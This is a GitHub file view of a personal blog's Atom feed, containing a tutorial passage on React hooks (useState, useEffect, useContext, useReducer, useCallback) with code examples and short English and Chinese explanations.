-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
1553 lines (1335 loc) · 574 KB
/
atom.xml
File metadata and controls
1553 lines (1335 loc) · 574 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Myths</title>
<subtitle>Myt0's blog</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://myt0.com/"/>
<updated>2020-03-26T10:17:00.000Z</updated>
<id>http://myt0.com/</id>
<author>
<name>Myths</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>react hooks</title>
<link href="http://myt0.com/2020/03/24/react%20hooks/"/>
<id>http://myt0.com/2020/03/24/react hooks/</id>
<published>2020-03-24T09:54:34.000Z</published>
<updated>2020-03-26T10:17:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="useState"><a href="#useState" class="headerlink" title="useState"></a><code>useState</code></h1><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// basic</span></span><br><span class="line"><span class="keyword">const</span> [name, setName] = useState(<span class="string">''</span>)</span><br><span class="line">setName(<span class="string">''</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// set state depends on prevState</span></span><br><span class="line"><span class="keyword">const</span> [count, setCount] = useState(<span class="number">0</span>)</span><br><span class="line">setCount(prevCount => prevCount + <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// state is object</span></span><br><span class="line"><span class="keyword">const</span> [name, setName] = useState({</span><br><span class="line"> firstName: <span class="string">''</span>,</span><br><span class="line"> lastName: <span class="string">''</span></span><br><span class="line">})</span><br><span class="line">setName({</span><br><span class="line"> ...name, firstName: <span class="string">'sam'</span></span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// state is array</span></span><br><span class="line"><span class="keyword">const</span> [items, setItems] = useState([])</span><br><span class="line">setItems({</span><br><span class="line"> ...items,</span><br><span class="line"> {</span><br><span class="line"> id: items.length,</span><br><span class="line"> value: <span class="built_in">Math</span>.random()</span><br><span class="line"> }</span><br><span class="line">})</span><br></pre></td></tr></table></figure>
<h1 id="useEffect"><a href="#useEffect" class="headerlink" title="useEffect"></a><code>useEffect</code></h1><p>Create <code>side effects</code> replacement for <code>componentDidMount, componentDidUpdate, componentWillUnMount</code></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// basic</span></span><br><span class="line"><span class="keyword">const</span> [count, setCount] = useState(<span class="number">0</span>)</span><br><span class="line">useEffect(() => {</span><br><span class="line"> <span class="built_in">document</span>.title = <span class="string">`Count is <span class="subst">${count}</span>`</span></span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// run effect only when props or state changes</span></span><br><span class="line">useEffect(() => {</span><br><span class="line"> <span class="built_in">document</span>.title = <span class="string">`Count is <span class="subst">${count}</span>`</span></span><br><span class="line">}, [count])</span><br><span class="line"></span><br><span class="line"><span class="comment">// run effect only once, just like componentDidMount</span></span><br><span class="line">useEffect(() => {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'only run once'</span>)</span><br><span class="line"> <span class="built_in">window</span>.addEventListener(<span class="string">'mousemove'</span>, logMousePosition)</span><br><span class="line">}, [])</span><br><span class="line"></span><br><span class="line"><span class="comment">// cleanup when unmount, like componentWillUnMount</span></span><br><span class="line">useEffect(() => {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'only run once'</span>)</span><br><span class="line"> <span class="built_in">window</span>.addEventListener(<span class="string">'mousemove'</span>, logMousePosition)</span><br><span class="line"> <span class="keyword">return</span> () => {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'run when unmount'</span>)</span><br><span class="line"> <span class="built_in">window</span>.removeEventListener(<span class="string">'mousemove'</span>, logMousePosition)</span><br><span class="line"> }</span><br><span class="line">}, [])</span><br></pre></td></tr></table></figure>
<p><code>setInterval</code></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// depends on count</span></span><br><span class="line"><span class="keyword">const</span> tick = () => {</span><br><span class="line"> setCount(count + <span class="number">1</span>)</span><br><span class="line">}</span><br><span class="line">useEffect(() => {</span><br><span class="line"> <span class="keyword">const</span> interval = setInterval(tick, <span class="number">1000</span>)</span><br><span class="line"> <span class="keyword">return</span> () => {</span><br><span class="line"> clearInterval(interval)</span><br><span class="line"> }</span><br><span class="line">}, [count])</span><br><span class="line"></span><br><span class="line"><span class="comment">// depends on prevCount</span></span><br><span class="line"><span class="keyword">const</span> tick = () => {</span><br><span class="line"> setCount(prevCount => prevCount + <span class="number">1</span>)</span><br><span class="line">}</span><br><span class="line">useEffect(() => {</span><br><span class="line"> <span class="keyword">const</span> interval = setInterval(tick, <span class="number">1000</span>)</span><br><span class="line"> <span class="keyword">return</span> () => {</span><br><span class="line"> clearInterval(interval)</span><br><span class="line"> }</span><br><span class="line">}, [])</span><br></pre></td></tr></table></figure>
<p>fetching data only once</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> [data, setData] = useState([])</span><br><span class="line">useEffect(() => {</span><br><span class="line"> axios</span><br><span class="line"> .get(<span class="string">'https://localhost/api'</span>)</span><br><span class="line"> .then(res => {</span><br><span class="line"> <span class="built_in">console</span>.log(res)</span><br><span class="line"> setData(res.data)</span><br><span class="line"> })</span><br><span class="line"> .catch(err => {</span><br><span class="line"> <span class="built_in">console</span>.log(err)</span><br><span class="line"> })</span><br><span class="line">}, [])</span><br></pre></td></tr></table></figure>
<p>fetching data depends on state change</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> [id, setId] = useState(<span class="number">1</span>)</span><br><span class="line">useEffect(() => {</span><br><span class="line"> axios</span><br><span class="line"> .get(<span class="string">`https://localhost/api/posts/<span class="subst">${id}</span>`</span>)</span><br><span class="line"> .then(res => {</span><br><span class="line"> <span class="built_in">console</span>.log(res)</span><br><span class="line"> setData(res.data)</span><br><span class="line"> })</span><br><span class="line"> .catch(err => {</span><br><span class="line"> <span class="built_in">console</span>.log(err)</span><br><span class="line"> })</span><br><span class="line">}, [id])</span><br></pre></td></tr></table></figure>
<h1 id="useContext"><a href="#useContext" class="headerlink" title="useContext"></a><code>useContext</code></h1><p>Context provides a way to pass data through the component three without having to pass props down manually at every level.</p>
<p>Basic usage:</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// App.js</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> UserContext = React.createContext()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> ChannelContext = React.createContext()</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">App</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div className='App'></span><br><span class="line"> <UserContext.Provider value={'Michael Jackson'}></span><br><span class="line"> <ChannelContext.Provider value={'channel value'}></span><br><span class="line"> <ComponentC /></span><br><span class="line"> </ChannelContext.Provider></span><br><span class="line"> </UserContext.Provider></span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// use Consumer ComponentF inside ComponentD inside ComponentC</span><br><span class="line">import { UserContext, ChannelContext } from '../App'</span><br><span class="line">function ComponentF(){</span><br><span class="line"> return <div></span><br><span class="line"> <UserContext.Consumer></span><br><span class="line"> {</span><br><span class="line"> user => {</span><br><span class="line"> return (</span><br><span class="line"> <ChannelContext.Consumer></span><br><span class="line"> {</span><br><span class="line"> channel => {</span><br><span class="line"> return <div>User context value {user}, channel context value {channel}</div></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </ChannelContext.Consumer></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </UserContext.Consumer></span><br><span class="line"> </div></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// use useContext to get value directly</span><br><span class="line">import { UserContext, ChannelContext } from '../App'</span><br><span class="line">function ComponentE(){</span><br><span class="line"> const user = useContext(UserContext)</span><br><span class="line"> const channel = useContext(ChannelContext)</span><br><span class="line"> return (</span><br><span class="line"> <div>{user} - {channel}</div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h1 id="useReducer"><a href="#useReducer" class="headerlink" title="useReducer"></a><code>useReducer</code></h1><p>useReducer is a hook that is used for state management in React.</p>
<table>
<thead>
<tr>
<th>reduce in <code>Javascript</code></th>
<th><code>useReducer</code> in React</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>array.reduce(reducer, initialState)</code></td>
<td><code>useReducer(reducer, initialValue)</code></td>
</tr>
<tr>
<td><code>singleValue = reducer(accumulator, itemValue)</code></td>
<td><code>newState = reducer(currentState, action)</code></td>
</tr>
<tr>
<td>reduce method returns a single value</td>
<td><code>useReducer</code> returns a pair of values, <code>[newState, dispatch]</code></td>
</tr>
</tbody>
</table>
<p>Imitate <code>redux</code> reducer, but a local state management:</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// CounterOne.js</span></span><br><span class="line"><span class="keyword">const</span> initialState = {</span><br><span class="line"> count: <span class="number">1</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">const</span> reducer = (state, action) => {</span><br><span class="line"> <span class="keyword">switch</span> (action.type) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'increment'</span>:</span><br><span class="line"> <span class="keyword">return</span> { count: state.count + action.value }</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'decrement'</span>:</span><br><span class="line"> <span class="keyword">return</span> { count: state.count - action.value }</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'reset'</span>:</span><br><span class="line"> <span class="keyword">return</span> initialState</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">return</span> state</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">CounterOne</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [state, dispatch] = useReducer(reducer, initialState)</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div></span><br><span class="line"> <div>Count - {state.count}</div></span><br><span class="line"> <button onClick={() => dispatch({ type: 'increment', value: 2 })}></span><br><span class="line"> Increment</span><br><span class="line"> </button></span><br><span class="line"> <button onClick={() => dispatch({ type: 'decrement', value: 2 })}></span><br><span class="line"> Decrement</span><br><span class="line"> </button></span><br><span class="line"> <button onClick={() => dispatch({ type: 'reset' })}>Reset</button></span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><code>useReducer</code> with <code>useContext</code> as a global state management:</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// App.js</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> CountContext = React.createContext()</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> initialState = {</span><br><span class="line"> count: <span class="number">1</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">const</span> reducer = (state, action) => {</span><br><span class="line"> <span class="keyword">switch</span> (action.type) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'increment'</span>:</span><br><span class="line"> <span class="keyword">return</span> { count: state.count + action.value }</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'decrement'</span>:</span><br><span class="line"> <span class="keyword">return</span> { count: state.count - action.value }</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'reset'</span>:</span><br><span class="line"> <span class="keyword">return</span> initialState</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">return</span> state</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">App</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [countState, countDispatch] = useReducer(reducer, initialState)</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <CountContext.Provider value={{ countState, countDispatch }}></span><br><span class="line"> Count - {countState.count}</span><br><span class="line"> <ComponentC /></span><br><span class="line"> </CountContext.Provider></span><br><span class="line"> )</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// ComponentF.js</span><br><span class="line">import { CountContext } from '../App'</span><br><span class="line"></span><br><span class="line">function ComponentF() {</span><br><span class="line"> const countContext = useContext(CountContext)</span><br><span class="line"> return (</span><br><span class="line"> <div></span><br><span class="line"> <div>Count - {countContext.countState.count}</div></span><br><span class="line"> <button</span><br><span class="line"> onClick={() =></span><br><span class="line"> countContext.countDispatch({ type: 'increment', value: 2 })</span><br><span class="line"> }</span><br><span class="line"> ></span><br><span class="line"> Increment</span><br><span class="line"> </button></span><br><span class="line"> <button</span><br><span class="line"> onClick={() =></span><br><span class="line"> countContext.countDispatch({ type: 'decrement', value: 2 })</span><br><span class="line"> }</span><br><span class="line"> ></span><br><span class="line"> Decrement</span><br><span class="line"> </button></span><br><span class="line"> <button onClick={() => countContext.countDispatch({ type: 'reset' })}></span><br><span class="line"> Reset</span><br><span class="line"> </button></span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>Fetching data with <code>useReducer</code>:</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> initialState = {</span><br><span class="line"> loading: <span class="literal">true</span>,</span><br><span class="line"> error: <span class="string">''</span>,</span><br><span class="line"> post: {}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">const</span> reducer = (state, action) => {</span><br><span class="line"> <span class="keyword">switch</span> (action.type) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'FETCH_SUCCESS'</span>:</span><br><span class="line"> <span class="keyword">return</span> {</span><br><span class="line"> loading: <span class="literal">false</span>,</span><br><span class="line"> post: action.payload,</span><br><span class="line"> error: <span class="string">''</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'FETCH_ERROR'</span>:</span><br><span class="line"> <span class="keyword">return</span> {</span><br><span class="line"> loading: <span class="literal">false</span>,</span><br><span class="line"> post: action.payload,</span><br><span class="line"> error: <span class="string">'something went wrong'</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">return</span> state</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">DateFetching</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [state, dispatch] = useReducer(reducer, initialState)</span><br><span class="line"> useEffect(() => {</span><br><span class="line"> axios.get(<span class="string">'http://fsa/url'</span>).then(res => {</span><br><span class="line"> dispatch({ type: <span class="string">'FETCH_SUCCESS'</span>, payload: res.data }).catch(error => {</span><br><span class="line"> dispatch({ type: <span class="string">'FETCH_ERROR'</span> })</span><br><span class="line"> })</span><br><span class="line"> })</span><br><span class="line"> }, [])</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div></span><br><span class="line"> {state.loading ? 'loading' : state.post.title}</span><br><span class="line"> {state.error ? state.error : ''}</span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h1 id="useState-vs-useReducer"><a href="#useState-vs-useReducer" class="headerlink" title="useState vs useReducer"></a><code>useState</code> vs <code>useReducer</code></h1><table>
<thead>
<tr>
<th>Scenario</th>
<th><code>useState</code></th>
<th><code>useReducer</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>Type of state</td>
<td>Number,String,Boolean</td>
<td>Object or Array</td>
</tr>
<tr>
<td>Number of state transitions</td>
<td>One or two</td>
<td>Too many</td>
</tr>
<tr>
<td>Related state transitions?</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Business logic</td>
<td>No business logic</td>
<td>Complex business logic</td>
</tr>
<tr>
<td>Local vs Global</td>
<td>Local</td>
<td>Global</td>
</tr>
</tbody>
</table>
<h1 id="useCallback"><a href="#useCallback" class="headerlink" title="useCallback"></a><code>useCallback</code></h1><p>For performance optimization, we have to restrict re-renders to only components that need to re-render.</p>
<p><code>useCallback</code> is a hook that will return a memorized version of the callback function that only changes if one of the dependencies has changed.</p>
<p>It is useful when passing callbacks to optimized child components that reply on reference equality to prevent unnecessary renders.</p>
<p><code>React.memo</code>可以使子组件只有接受的 props 改变时才会渲染,防止父组件 re-render 导致全部子组件 re-render。</p>
<p>对于一般的非引用类型变量<code>React.memo</code>可以起作用,但是由于 function 每次定义地址并不相同,还是会 re-render,所以需要<code>useCallback</code>创建一个根据条件变化的 function。</p>
<p><code>useCallback</code>是为了防止 re-render 后由于重新定义了 function,导致以 function 作为 props 传入的子组件也进行了不必要的渲染。</p>
<p>example:</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Button.js</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Button</span>(<span class="params">{ onClick, children }</span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'render button'</span>, children)</span><br><span class="line"> <span class="keyword">return</span> <button onClick={onClick}>{children}</button></span><br><span class="line">}</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> React.memo(Button)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Count.js</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Count</span>(<span class="params">{ text, count }</span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'render count'</span>, text)</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div></span><br><span class="line"> {text} - {count}</span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> React.memo(Count)</span><br><span class="line"></span><br><span class="line"><span class="comment">// ParentComponent.js</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">ParentComponent</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [age, setAge] = useState(<span class="number">1</span>)</span><br><span class="line"> <span class="comment">// incrementAge only change when age change</span></span><br><span class="line"> <span class="keyword">const</span> incrementAge = useCallback(() => {</span><br><span class="line"> setAge(age + <span class="number">1</span>)</span><br><span class="line"> }, [age])</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> [salary, setSalary] = useState(<span class="number">1</span>)</span><br><span class="line"> <span class="comment">// incrementSalary only change when age change</span></span><br><span class="line"> <span class="keyword">const</span> incrementSalary = useCallback(() => {</span><br><span class="line"> setSalary(salary + <span class="number">1</span>)</span><br><span class="line"> }, [salary])</span><br><span 